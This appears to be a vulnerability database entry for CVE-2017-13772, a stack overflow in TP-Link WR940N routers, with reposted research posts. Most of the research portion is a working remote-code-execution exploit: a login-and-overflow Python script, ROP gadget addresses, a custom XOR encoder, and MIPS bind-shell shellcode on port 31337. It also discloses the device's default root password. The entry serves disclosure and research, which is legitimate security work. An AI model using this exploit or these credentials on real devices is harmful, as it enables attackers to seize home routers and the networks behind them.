Vulnerabilities > CVE-2017-13772 - Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in Tp-Link Wr940N Firmware
Attack vector
NETWORK Attack complexity
LOW Privileges required
LOW Confidentiality impact
HIGH Integrity impact
HIGH Availability impact
HIGH Summary
Multiple stack-based buffer overflows in TP-Link WR940N WiFi routers with hardware version 4 allow remote authenticated users to execute arbitrary code via the (1) ping_addr parameter to PingIframeRpm.htm or (2) dnsserver2 parameter to WanStaticIpV6CfgRpm.htm.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
OS | 1 | |
Hardware | 1 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Buffer Overflow via Environment Variables This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
- Overflow Buffers Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
- Client-side Injection-induced Buffer Overflow This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
- Filter Failure through Buffer Overflow In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
- MIME Conversion An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.
Exploit-Db
description | TP-Link WR940N - Authenticated Remote Code Exploit. CVE-2017-13772. Webapps exploit for Hardware platform |
file | exploits/hardware/webapps/43022.py |
id | EDB-ID:43022 |
last seen | 2017-10-20 |
modified | 2017-10-17 |
platform | hardware |
port | |
published | 2017-10-17 |
reporter | Exploit-DB |
source | https://www.exploit-db.com/download/43022/ |
title | TP-Link WR940N - Authenticated Remote Code Exploit |
type | webapps |
Packetstorm
data source | https://packetstormsecurity.com/files/download/144691/tplink-exec.txt |
id | PACKETSTORM:144691 |
last seen | 2017-10-21 |
published | 2017-10-21 |
reporter | Tim Carrington |
source | https://packetstormsecurity.com/files/144691/TP-Link-WR940N-Remote-Code-Execution.html |
title | TP-Link WR940N Remote Code Execution |
Seebug
bulletinFamily exploit description ### INTRODUCTION _____ In October of 2017 we disclosed multiple vulnerabilities in TP-Link’s WR940n router that occurred due to multiple code paths calling strcpy on user controllable unsanitised input (CVE-2017-13772) The httpd binary responsible for these vulnerabilities contained patterns of code that looked similar to the following: ![](https://images.seebug.org/contribute/6e36652d-cd33-4c16-88fe-837e38c7db45-w331s) At the time of disclosure, there were around 7000 of these devices accessible from the Internet. N.B – The decision to go public on this one was tricky as we’d already released a Proof-of-Concept in our previous blog post which works for this model too, unknowingly to us at the time. Due to the sheer number of affected devices around the globe we expected TP-Link to issue a fix very quickly, especially as they had already fixed the EXACT same issue in a previous device. Sadly this wasn’t the case. We can’t be sure if this is currently being exploited in the wild, however it is likely. Until a fix has eventually been released by TP-Link (No idea when this will be..) ensure your router is using a strong password and you’ve changed default credentials! ### CODE REUSE IS VULNERABILITY REUSE _____ Code reuse is a huge problem within the IoT industry. In most cases, what we generally see is a company who sells devices with poor security to vendors who then brand them and sell them on. Tracking the original manufacturer can be quite difficult and, in our experience, getting such vulnerabilities patched is even harder. A good example of this kind of code reuse was discovered in 2017 by Pierre Kim, who found roughly 185,000 devices which all shared the same vulnerabilities. When we originally found the vulnerabilities in TP-Link’s WR940n router, our first thought was “how has no one else discovered this yet”, it’s hardly a difficult bug to spot. Our second thought was possibly more naïve, “there’s no way we’ll find something like this again”. Whilst making various Shodan searches for new targets to do some research on, we came across TP-Link’s WR740n router, which is a much older model and hasn’t had a firmware update for a few years for some versions. ![](https://images.seebug.org/contribute/eb5fab43-2fff-45a0-a9c2-a5735ecf8e65-w331s) We decided to grab the current firmware for hardware version 5 UK (https://static.tp-link.com/res/down/soft/TL-WR740N(UN)_V5_160715.zip) and have a look around for some low hanging fruit. The extraction of the filesystem is trivial, and is documented in our previous blog post, so we will skip right into reversing the httpd binary. Straight away we saw some functions that looked familiar (if not identical), so went for a complete chance and just looked for a known vulnerable GET parameter “dnsserver2”. Instantly we get a pretty obvious buffer overflow: ![](https://images.seebug.org/contribute/35f487d2-3225-4062-b80a-46c59f369da6-w331s) This block of code is exactly the same as noted in CVE-2017-13772, in-fact it is the second vulnerable location we decided to generate an exploit for (which you can find in that post). ### FINDING ALL VULNERABLE LOCATIONS _____ Tracking down every single vulnerable location and checking if they are the same as the WR940n router would be quite tedious, so we decided that it might be fun to use some IDA python scripting instead. Our goal being to identify all vulnerable locations as well as the GET parameters that can be used to trigger them. This is a relatively easy task due to the fact that the vulnerable pattern is so simple – strcpy(httpGetEnv(“some_param”)). The script is as follows: ``` import idautils print "[+] Beginning scan..." strcpy = LocByName("strcpy") xrefsTo = CodeRefsTo(strcpy, 0) numLocations = 0 for ref in xrefsTo: current = ref - 0x50 while current < ref: current += 4 op = GetOpnd(current, 1) if op == "httpGetEnv": print "[+] Possible vulnerable code path at: %s" %hex(current) numLocations += 1 tmp = current - 8 while tmp <= current + 16: if GetOpnd(tmp, 0) == "$a1": if "0x" in GetOpnd(tmp, 1): pass else: print "\t Possible http parameter: %s" %GetOpnd(tmp, 1) tmp += 4 print "[+] Found %d locations" %numLocations print "[+] Done!" ``` Let’s look at what this code is doing, the following diagram shows the sequence of each of the loops on a target code block known to be vulnerable: ![](https://images.seebug.org/contribute/7dcb1d0c-ad5a-49dc-a8dc-b170388bfb3b-w331s) Notice how between $t9 being loaded with httpGetEnv and $t9 being called, $a1 has 2 different values copied into it, the value 0x56 is redundant, the actual argument is a pointer to the string “dnsserver1”. The only other thing to consider with this code is how far we jump back initially, you could of course go back 80 or 100 instructions, however you end up with false positives. We found the optimal value to be 20 instructions. Running this code within IDA for the WR740n httpd binary gives the following output: ``` [+] Beginning scan... [+] Possible vulnerable code path at: 0x449eb0 Possible http parameter: aIpstart [+] Possible vulnerable code path at: 0x449ee8 Possible http parameter: aIpend [+] Possible vulnerable code path at: 0x449f90 Possible http parameter: aStaticprefix [+] Possible vulnerable code path at: 0x44a6fc Possible http parameter: aDnsserver1 [+] Possible vulnerable code path at: 0x44a734 Possible http parameter: aDnsserver2 [+] Possible vulnerable code path at: 0x44b0ec Possible http parameter: (aSta_gw+4) [+] Possible vulnerable code path at: 0x44b194 Possible http parameter: aDnsserver1 [+] Possible vulnerable code path at: 0x44b1e8 Possible http parameter: aDnsserver2 [+] Possible vulnerable code path at: 0x44b238 Possible http parameter: aDomain [+] Possible vulnerable code path at: 0x44b26c Possible http parameter: aHostname_0 [+] Possible vulnerable code path at: 0x44bb60 Possible http parameter: aUsername [+] Possible vulnerable code path at: 0x44bb98 Possible http parameter: aPassword_1 [+] Possible vulnerable code path at: 0x44bc18 Possible http parameter: aFixedip [+] Possible vulnerable code path at: 0x44bd28 Possible http parameter: aDnsserver1 [+] Possible vulnerable code path at: 0x44bd7c Possible http parameter: aDnsserver2 [+] Possible vulnerable code path at: 0x44c6f0 Possible http parameter: aDnsserver1 [+] Possible vulnerable code path at: 0x44c744 Possible http parameter: aDnsserver2 [+] Possible vulnerable code path at: 0x44cd94 Possible http parameter: (aSta_ip+4) [+] Possible vulnerable code path at: 0x44ce00 Possible http parameter: aGateway [+] Possible vulnerable code path at: 0x44ceb0 Possible http parameter: aDnsserver1 [+] Possible vulnerable code path at: 0x44cf04 Possible http parameter: aDnsserver2 [+] Possible vulnerable code path at: 0x456ed8 Possible http parameter: aSave [+] Possible vulnerable code path at: 0x4624d4 Possible http parameter: aPsksecret [+] Possible vulnerable code path at: 0x52315c Possible http parameter: aRemote_addr [+] Found 24 locations [+] Done! ``` And we can then double check we are correct by jumping to any one of these addresses, here we see the vulnerable path at 0x44b328: ![](https://images.seebug.org/contribute/81c7975b-c313-4196-a75c-31a8953af9af-w331s) ### THE POINT _____ If we now go back to the WR940n httpd binary and run the same script, we get extremely similar results: ``` [+] Beginning scan... [+] Possible vulnerable code path at: 0x44bfdc Possible http parameter: aIpstart [+] Possible vulnerable code path at: 0x44c014 Possible http parameter: aIpend [+] Possible vulnerable code path at: 0x44c0bc Possible http parameter: aStaticprefix [+] Possible vulnerable code path at: 0x44c85c Possible http parameter: aDnsserver1 [+] Possible vulnerable code path at: 0x44c894 Possible http parameter: aDnsserver2 <…Snip…> [+] Possible vulnerable code path at: 0x44f1a4 Possible http parameter: (aSta_ip+4) [+] Possible vulnerable code path at: 0x44f210 Possible http parameter: aGateway [+] Possible vulnerable code path at: 0x44f2c0 Possible http parameter: aDnsserver1 [+] Possible vulnerable code path at: 0x44f314 Possible http parameter: aDnsserver2 [+] Possible vulnerable code path at: 0x4596f8 Possible http parameter: aSave [+] Possible vulnerable code path at: 0x465290 Possible http parameter: aPsksecret [+] Possible vulnerable code path at: 0x52cdcc Possible http parameter: aRemote_addr [+] Found 24 locations [+] Done! ``` In fact the only differences we have are the addresses of the vulnerable locations. It should be noted that this does not necessarily mean that each one of these locations is 100% exploitable, but it does give us a good way of focusing our attention. The main issue here is that we disclosed the vulnerabilities for the WR940n router over 5 months ago and we would assume that someone would have noticed that the 2 devices use extremely similar if not identical software. id SSV:97270 last seen 2018-06-26 modified 2018-05-04 published 2018-05-04 reporter My Seebug title TPLINK TLWR740N路由器远程代码执行漏洞(CVE-2017-13772) bulletinFamily exploit description ### INTRODUCTION In this post, I will be discussing my recent findings while conducting vulnerability research on a home router: TP-Link’s WR940N home WiFi router. This post will outline the steps taken to identify vulnerable code paths, and how we can exploit those paths to gain remote code execution. I will start by describing how I found the first vulnerability, the methods taken to develop a full working exploit and then follow this by showing that this vulnerability presents a “pattern” that potentially exposes this device to hundreds of exploits. ### THE DEVICE The device I conducted this research on was the WR940N home WiFi router from TP-Link (hardware version 4). Generally, the first thing I do when beginning a research cycle on an Internet of Things (IoT) device is to grab a copy of the firmware and extract the filesystem. Firmware link: https://static.tp-link.com/TL-WR940N(US)_V4_160617_1476690524248q.zip ![](https://images.seebug.org/1508812688073) We can see here that binwalk has identified and extracted the filesystem. The next step is to gather a few bits of information about what’s running on the device. To start with, I grab the contents of the shadow file (reasons for this will become apparent soon). ![](https://images.seebug.org/1508812702657) Most embedded systems I’ve researched use busybox, so it’s important to see what we can run should we find some form of shell injection. There are two ways to do this; one would be to list all the symlinks to busybox. However, I prefer to run the busybox binary under qemu under a chrooted environment as it will tell us what utilities it has enabled: ![](https://images.seebug.org/1508812717235) So no telnetd, netcat etc. However, we do have tftp, which we could use if we were able to obtain shell injection. Finally, a quick look at rc.d/rcS shows that the last thing the router does when it boots up is run the httpd binary, I thought I’d start here as the HTTP daemon usually presents a large attack surface. ### ASSESSING THE DEVICE During initial testing of the web interface, I identified an area that would cause the device to stop responding if a large string was passed. What interested me here was that the user was prevented from entering more than 50 characters through client-side code: ![](https://images.seebug.org/1508812763575) Obviously, this was easily bypassed with Burp Suite. While waiting for a USB to uart device to turn up, I decided to “fuzz” these fields a little bit, and I found that giving a ping_addr of 51 bytes resulted in: ![](https://images.seebug.org/1508812781513) Although the HTTP port was still open. Using some dumb fuzzing, I just increased this to 200, and found that this did indeed crash the service: ![](https://images.seebug.org/1508812834727) So at this point, we have a Denial of Service (DoS) vulnerability, but that’s pretty boring. To properly debug what is happening I needed to access the device through its uart interface, the steps I took came from https://wiki.openwrt.org/toh/tp-link/tl-wr940n. Note that we are presented with a login prompt once the device is finished booting, you could try to crack the password in the shadow file above, or you could do what I did and google it – the password for root is sohoadmin. ![](https://images.seebug.org/1508812860220) Now we have access to the device; we can have a look around to ascertain what is actually running. We can see here that the httpd binary is responsible for a lot of processes. ![](https://images.seebug.org/1508812876971) One last step to take here is to download gdbserver. I had a lot of trouble getting a cross-compiled gdbserver to run properly, luckily, however, if you download the GPL source code for this device there’s a precompiled gdbserver binary there. I copied that across using SCP and then after a bit of trial and error found that attaching to the last httpd process gave us the ability to debug the actual web interface. ### THE VULNERABILITY As mentioned above, the HTTP service would crash if I supplied user input to an interface that was larger than what the JavaScript code would allow. Opening the binary up in IDA shows us clearly what is happening, starting with, in sub_453C50 there is typical functionality for checking the request is valid and authenticated: ![](https://images.seebug.org/1508812909694) Next, there is a call to httpGetEnv, note that values like “ping_addr”, “isNew” etc. are values passed through GET parameters. And then later on (still in the same function), ipAddrDispose is called: ![](https://images.seebug.org/1508812922583) ![](https://images.seebug.org/1508812942747) This function is where the (first) vulnerability exists. At the start of the function, a stack variable is declared, var_AC. It is then passed as the destination argument to the call to strcpy, the problem here is that the source argument ($s1) is the first argument to the function, and no validation is done on its length – a classic buffer overflow. ![](https://images.seebug.org/1508812956868) ![](https://images.seebug.org/1508812972135) ### PROOF OF CONCEPT I wrote a quick python script to trigger the vulnerability – note the login function. When we login to this device a random URL is generated. ``` import urllib2 import urllib import base64 import hashlibdef login(ip, user, pwd): #### Generate the auth cookie of the form b64enc(‘admin:’ + md5(‘admin’)) hash = hashlib.md5() hash.update(pwd) auth_string = “%s:%s” %(user, hash.hexdigest()) encoded_string = base64.b64encode(auth_string) print “[debug] Encoded authorisation: %s” %encoded_string#### Send the request url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save” req = urllib2.Request(url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string) resp = urllib2.urlopen(req)#### The server generates a random path for further requests, grab that here data = resp.read() next_url = “http://%s/%s/userRpm/” %(ip, data.split(“=”)[2].split(“/”)[3]) print “[debug] Got random path for next stage, url is now %s” %next_urlreturn (next_url, encoded_string) def exploit(url, auth): #trash,control of s0,s1 + ra + shellcode evil = “\x41″*800 params = {‘ping_addr’: evil, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’} new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params) req = urllib2.Request(new_url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth) req.add_header(‘Referer’, url + “DiagnosticRpm.htm”) resp = urllib2.urlopen(req) if __name__ == ‘__main__’: data = login(“192.168.0.1”, “admin”, “admin”) exploit(data[0], data[1]) ``` Firing up gdbserver (remember to attach to the last httpd process), I set a break point just before ipAddrDispose exits and then ran the proof of concept: ![](https://images.seebug.org/1508813023118) We can see here we have gained control of the return address. After doing the typical msf_pattern_create/pattern_offset routine, we find that $ra is overwritten at offset 168, and we have control of $s0 and $s1 at offsets 160 and 164 respectively. We also have a nice big buffer on the stack to put shellcode in: ![](https://images.seebug.org/1508813037760) ### DEVELOPING THE EXPLOIT To develop this exploit, there are a few things to note about the Mips architecture. The first is cache in-coherency. This has been covered extensively in other blogs (I suggest http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/). Put simply, if we try to execute shellcode on the stack, the CPU will check if it has data from that virtual address in its cache already, if it does it will execute that, which means whatever was on the stack before we triggered our exploit will most likely get executed. Moreover, if our shellcode has self-modifying properties (IE we use an encoder), the encoded instructions will end up being executed instead of the decoded. ![](https://images.seebug.org/1508813070202) Reference: http://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Caches.pdf As outlined in many of the online resources I found, the best way to flush the cache is to ROP into a call to sleep. I will end up making two calls to sleep, once straight after triggering the vulnerability, and the second after my decoder finishes decoding the instructions with bad bytes (more on that later). To identify which gadgets to use, we have to identify which libraries are executable, and the address at which they reside (note that there is no ASLR enabled by default). ``` httpd maps: 00400000-00587000 r-xp 00000000 1f:02 64 /usr/bin/httpd 00597000-005b7000 rw-p 00187000 1f:02 64 /usr/bin/httpd 005b7000-00698000 rwxp 00000000 00:00 0 [heap] 2aaa8000-2aaad000 r-xp 00000000 1f:02 237 /lib/ld-uClibc-0.9.30.so 2aaad000-2aaae000 rw-p 00000000 00:00 0 2aaae000-2aab2000 rw-s 00000000 00:06 0 /SYSV0000002f (deleted) 2aabc000-2aabd000 r–p 00004000 1f:02 237 /lib/ld-uClibc-0.9.30.so 2aabd000-2aabe000 rw-p 00005000 1f:02 237 /lib/ld-uClibc-0.9.30.so 2aabe000-2aacb000 r-xp 00000000 1f:02 218 /lib/libpthread-0.9.30.so 2aacb000-2aada000 —p 00000000 00:00 0 2aada000-2aadb000 r–p 0000c000 1f:02 218 /lib/libpthread-0.9.30.so 2aadb000-2aae0000 rw-p 0000d000 1f:02 218 /lib/libpthread-0.9.30.so 2aae0000-2aae2000 rw-p 00000000 00:00 0 2aae2000-2ab3f000 r-xp 00000000 1f:02 238 /lib/libuClibc-0.9.30.so<….. snip …..>7edfc000-7ee00000 rwxp 00000000 00:00 0 7effc000-7f000000 rwxp 00000000 00:00 0 7f1fc000-7f200000 rwxp 00000000 00:00 0 7f3fc000-7f400000 rwxp 00000000 00:00 0 7f5fc000-7f600000 rwxp 00000000 00:00 0 7fc8b000-7fca0000 rwxp 00000000 00:00 0 [stack] ``` LibuClibC-0.9.30.so looks like a good target, opening it up in IDA and using the mipsrop.py script from http://www.devttys0.com/2013/10/mips-rop-ida-plugin/, we can start looking for gadgets. To start with, we need a gadget that does something like: ``` li $a0, 1 mov $t9, $s0 or $s1 #we control $s0 and $s1 jr $t9 ``` The first command to run is mipsrop.set_base(0x2aae000), which will automatically calculate the actual address for us. ![](https://images.seebug.org/1508813135466) Notice the 2nd gadget, it returns to the address in $s1: ![](https://images.seebug.org/1508813165252) This is the gadget I use to set up the call to sleep; it’s address is what will overwrite the return address from ipAddrDispose. The next gadget we need (which will be put in $s1) needs to call sleep, but before it does it needs to put the address of the gadget we want to call after sleep into ra. We can use mipsrop.tail() to find such gadgets ![](https://images.seebug.org/1508813181864) ![](https://images.seebug.org/1508813199482) This gadget works well, the only thing to note here is it will end up calling itself on the first run. The first time it is called, $s1 will contain 0x2AE3840, which will be used as the address to jump to in $t9. To get this gadget to work properly, we need to prepare the stack. On the first call, we need to place the address of sleep into $s1, so this needs to be at 0x20($sp). On the second call to this gadget, $t9 will have the address of sleep, and we need to put the address of the next gadget we want to call at 0x24($sp) and then we may want to fill $s0 and $s1 with our final gadget (which will jump to our shellcode). This gives us the following payload: ``` Trash $s1 $ra rop = “A”*164 + call_sleep + prepare_sleep + “B”*0x20 + sleep_addr $s0 $s1 $ra rop += “C”*0x20 + “D”*4 + “E”*4 + next_gadg ``` The next gadget to call (after the return from sleep) needs to store the stack pointer in a register and then jump to an address in either $s0 or $s1 (as we control both of those). This will then lead to the final gadget which will jump to that register (meaning it will jump to somewhere on the stack, preferably where the shellcode is). A convenient function in mipsrop.py is stack stackfinder(): ![](https://images.seebug.org/1508813249033) Almost all of these gadgets seem promising. Looking at the last one: ![](https://images.seebug.org/1508813267224) Knowing that $s0 can be controlled from the previous gadget, all that’s required to do now is find a gadget that jumps to the address in $s2 (which will be a stack address). ![](https://images.seebug.org/1508813290280) Any one of these gadgets would work. I prefer to use gadgets that have the smallest amount of impact on other registers, which I found here: ![](https://images.seebug.org/1508813316139) At this point, the payload looks like this: ``` nop = “\x22\x51\x44\x44” gadg_1 = “\x2A\xB3\x7C\x60” gadg_2 = “\x2A\xB1\x78\x40” sleep_addr = “\x2a\xb3\x50\x90” stack_gadg = “\x2A\xAF\x84\xC0” call_code = “\x2A\xB2\xDC\xF0″def first_exploit(url, auth): # trash $s1 $ra rop = “A”*164 + gadg_2 + gadg_1 + “B”*0x20 + sleep_addr rop += “C”*0x20 + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode ``` When this exploit is run, we end up in the middle of the NOP sled, the only thing left to do is; write some shellcode, identify the bad characters and append <decoder> + <sleep> + <encoded shellcode> to the exploit. The only bad bytes I found were 0x20 and obviously 0x00. I struggled to get any of the typical payloads to work properly, msf_venom wouldn’t work with a mips/long_xor encode. I also couldn’t get the bowcaster payloads to work either. I hadn’t written mips shellcode before, so I decided to write an extremely simple encoder, it only operates on the instructions which have bad bytes, by referencing their offset on the stack. ``` .set noreorder #nop addi $s5, $s6, 0x4444#xor key li $s1, 2576980377#get address of stack la $s2, 1439($sp)#s2 -> end of shellcode (end of all shellcode) addi $s2, $s2, -864#decode first bad bytes lw $t2, -263($s2) xor $v1, $s1, $t2 sw $v1, -263($s2)#decode 2nd bad bytes lw $t2, -191($s2) xor $v1, $s1, $t2 sw $v1, -191($s2)<…snip…>##### sleep #####li $v0, 4166 li $t7, 0x0368 addi $t7, $t7, -0x0304 sw $t7, -0x0402($sp) sw $t7, -0x0406($sp) la $a0, -0x0406($sp) syscall 0x40404 addi $t4, $t4, 4444 #nop ``` This obviously isn’t the most efficient way of doing things, as it requires finding the offsets of each bad byte on the stack (luckily mips is 4byte aligned instructions, so each offset is a multiple of 4). It also requires calculating the encoded value of each bad byte instruction. Having said that it worked perfectly. The bind shell shellcode was quite simple. ``` .set noreorder ###### sys_socket ###### addiu $sp, $sp, -32 li $t6, -3 nor $a0, $t6, $zero nor $a1, $t6, $zero slti $a2, $0, -1 li $v0, 4183 syscall 0x40404##### sys_bind #### add $t9, $t9, 0x4444 #nop andi $s0, $v0, 0xffff li $t6, -17 nor $t6, $t6, $zero li $t5, 0x7a69 #port 31337 li $t7, -513 nor $t7, $t7, $zero sllv $t7, $t7, $t6 or $t5, $t5, $t7 sw $t5, -32($sp) sw $zero,-28($sp) sw $zero,-24($sp) sw $zero,-20($sp) or $a0, $s0, $s0 li $t6, -17 nor $a2, $t6, $zero addi $a1, $sp, -32 li $v0, 4169 syscall 0x40404##### listen ##### li $t7,0x7350 or $a0,$s0,$s0 li $a1,257 li $v0,4174 syscall 0x40404##### accept ##### li $t7,0x7350 or $a0,$s0,$s0 slti $a1,$zero,-1 slti $a2,$zero,-1 li $v0,4168 syscall 0x40404##### dup fd’s #### li $t7,0x7350 andi $s0,$v0,0xffff or $a0,$s0,$s0 li $t7,-3 nor $a1,$t7,$zero li $v0,4063 syscall 0x40404 li $t7,0x7350 or $a0,$s0,$s0 slti $a1,$zero,0x0101 li $v0,4063 syscall 0x40404 li $t7,0x7350 or $a0,$s0,$s0 slti $a1,$zero,-1 li $v0,4063 syscall 0x40404######execve###### lui $t7,0x2f2f ori $t7,$t7,0x6269 sw $t7,-20($sp) lui $t6,0x6e2f ori $t6,$t6,0x7368 sw $t6,-16($sp) sw $zero,-12($sp) addiu $a0,$sp,-20 sw $a0,-8($sp) sw $zero,-4($sp) addiu $a1,$sp,-8 li $v0,4011 syscall 0x40404#### sleep ##### li $v0, 4166 li $t7, 0x0368 addi $t7, $t7, -0x0304 sw $t7, -0x0402($sp) sw $t7, -0x0406($sp) la $a0, -0x0406($sp) syscall 0x40404 addi $t4, $t4, 4444 ``` Notice that if we don’t sleep after calling execve the original process will die, killing all of the other httpd processes, stopping us from getting access to the bind shell. The final exploit for this vulnerability is as follows: ``` import urllib2 import urllib import base64 import hashlib import osdef login(ip, user, pwd): #### Generate the auth cookie of the form b64enc(‘admin:’ + md5(‘admin’)) hash = hashlib.md5() hash.update(pwd) auth_string = “%s:%s” %(user, hash.hexdigest()) encoded_string = base64.b64encode(auth_string) print “[debug] Encoded authorisation: %s” %encoded_string #### Send the request url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save” print “[debug] sending login to ” + url req = urllib2.Request(url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string) resp = urllib2.urlopen(req) #### The server generates a random path for further requests, grab that here data = resp.read() next_url = “http://%s/%s/userRpm/” %(ip, data.split(“/”)[3]) print “[debug] Got random path for next stage, url is now %s” %next_url return (next_url, encoded_string)#custom bind shell shellcode with very simple xor encoder #followed by a sleep syscall to flush cash before running #bad chars = 0x20, 0x00 shellcode = ( #encoder “\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99” “\x27\xb2\x05\x9f” “\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9” “\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41” “\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d” “\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71” “\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d” “\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99” “\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5” “\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad” “\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9” “\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1” “\x02\x2a\x18\x26\xae\x43\xff\xc1″#sleep “\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08” “\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa” “\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c”################ encoded shellcode ############### “\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06” “\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff” “\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d” “\x7a\x69” #<————————- PORT 0x7a69 (31337) “\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad” “\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc” “\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01” “\x01\x0c\x24\x0f\x73\x50” “\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f” “\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48” “\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f” “\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50” “\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f” “\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c” “\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce” “\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8” “\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02” “\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa” “\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c” )###### useful gadgets ####### nop = “\x22\x51\x44\x44” gadg_1 = “\x2A\xB3\x7C\x60” gadg_2 = “\x2A\xB1\x78\x40” sleep_addr = “\x2a\xb3\x50\x90” stack_gadg = “\x2A\xAF\x84\xC0” call_code = “\x2A\xB2\xDC\xF0″def first_exploit(url, auth): # trash $s1 $ra rop = “A”*164 + gadg_2 + gadg_1 + “B”*0x20 + sleep_addr rop += “C”*0x20 + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode params = {‘ping_addr’: rop, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’} new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params)print “[debug] sending exploit…” print “[+] Please wait a few seconds before connecting to port 31337…” req = urllib2.Request(new_url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth) req.add_header(‘Referer’, url + “DiagnosticRpm.htm”) resp = urllib2.urlopen(req)if __name__ == ‘__main__’: data = login(“192.168.0.1”, “admin”, “admin”) first_exploit(data[0], data[1]) ``` ### FURTHER ANALYSIS This vulnerability has a very simple pattern, user input from a GET parameter is passed directly to a call to strcpy without any validation. Analysing the binary further, this same pattern presents itself in many locations. ![](https://images.seebug.org/1508813419088) In fact, there are an awful lot of calls to strcpy: ![](https://images.seebug.org/1508813437263) To the vendor’s credit, they supplied a patch to the first vulnerability within a few days. However, in my response, I outlined the fact that almost all of these calls to strcpy needed to be replaced with safer string copying functions. To prove this point, I decided to develop a second exploit, which triggers a buffer overflow in WanStaticIpV6CfgRpm.htm, through the dnsserver2 parameter. This exploit is pretty much the same as before, with only a single offset changed in the custom encoder (as the stack pointer was pointing to a different location). The only major difference was something I hadn’t come across in my research in Mips exploit development, which is byte alignment. Whilst developing this exploit I kept getting illegal instruction errors, and I noticed that my nop sled looked nothing like what it was supposed to: ![](https://images.seebug.org/1508813462398) Notice how all of the instructions are 2 bytes apart. The reason for this actually lies at the end of my payload: ![](https://images.seebug.org/1508813486265) The end of this buffer has input that I didn’t specify, forcing the payload to end up out of alignment. It turns out that even though this is at the very end, I needed to pad the final payload to bring it back into alignment, once this was done, the nopsled looks as it should: ![](https://images.seebug.org/1508813532352) And we get our bind shell: ![](https://images.seebug.org/1508813596373) The final code, which contains working exploits for both vulnerabilities is as follows: (Note that in second_exploit, almost all of the GET parameters are vulnerable to a buffer overflow) ``` import urllib2 import base64 import hashlib from optparse import * import sys import urllibbanner = ( “___________________________________________________________________________\n” “WR940N Authenticated Remote Code 